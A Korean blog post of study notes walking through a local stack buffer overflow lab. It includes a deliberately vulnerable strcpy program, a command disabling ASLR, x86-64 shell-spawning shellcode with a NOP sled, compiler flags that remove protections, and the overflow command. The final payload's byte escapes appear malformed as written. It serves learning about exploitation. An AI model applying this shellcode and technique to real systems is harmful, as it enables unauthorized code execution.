버퍼 오버플로우 취약점 해킹 실습

 

nano overflow.c 파일을 만들어준다

 

#include <stdio.h>

int main(int argc, char * argv[]) {
	char buf[16];
    if(argc != 2)
    	return -1;
    strcpy(buf, argv[1]);
    	return 0;
}

 

./program 7 이걸로 예시를 들면 ./program 은 0번째 7은 1번째 ~~ 이렇게 이어진다

 

이 때 n번째 이것이 argc, 실질적으로 들어오는 ./program 이나 7은 argv

 

strcpy가 매우 취약하기에 안쓰는것을 권고할 정도

 

왜 취약하냐면 버퍼에 16자리 이상을 넣더라도 계속 담기때문에 취약함

 

RET 위에 RSP = RBP 가 있고 그 위에 버퍼로 16만큼의 공간이 있게되는데

 

만약 버퍼에 30만큼의 데이터가 들어오면 버퍼뿐만아니라 RSP까지도(혹은 그 이상) 덮혀져 채워질 수 있다

 

실습을 위해 메모리 보호 기능을 끄자

 

sysctl -w kernel.randomize_va_space=0

 

ldd ./overflow 를 여러번 실행했을때 주소가 같게 출력된다면 성공적으로 된 것이다

 

export SHELLCODE=`perl -e 'print "\x90" x 2000, "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"'`

(여기서 =과 ` 사이를 띄어쓰기 하면 오류가 뜨므로 꼭 붙혀주도록 하자)

 

90은 nop로 어떠한 명령도 실행하지 않는다는 뜻

 

gdb ./overflow 해주고 break * main 브레이크포인트를 메인으로 run 실행시켜준다

 

x/100a $rsp 해주고 내려보다 보면 90이 계속 출력되는것을 볼 수 있다

 

우선 quit 으로 꺼주고

 

gcc -fno-stack-protector -mpreferred-stack-boundary=4 -z execstack overflow.c -o overflow 해준다

 

이제 익스플로잇 공격을 해볼건데

 

./overflow `perl -e 'print "X" x 24, "\e3\e7\ff\ff\ff\7f"'`

 

성공적으로 쉘 코드를 볼 수 있다

 

 

 

 

'Hacking > 시스템 해킹' 카테고리의 다른 글

공부(10)  (0) 2021.09.22
공부(9)  (0) 2021.09.21
공부(8)  (0) 2021.09.21
공부(7)  (0) 2021.09.20
공부(6)  (0) 2021.09.20

+ Recent posts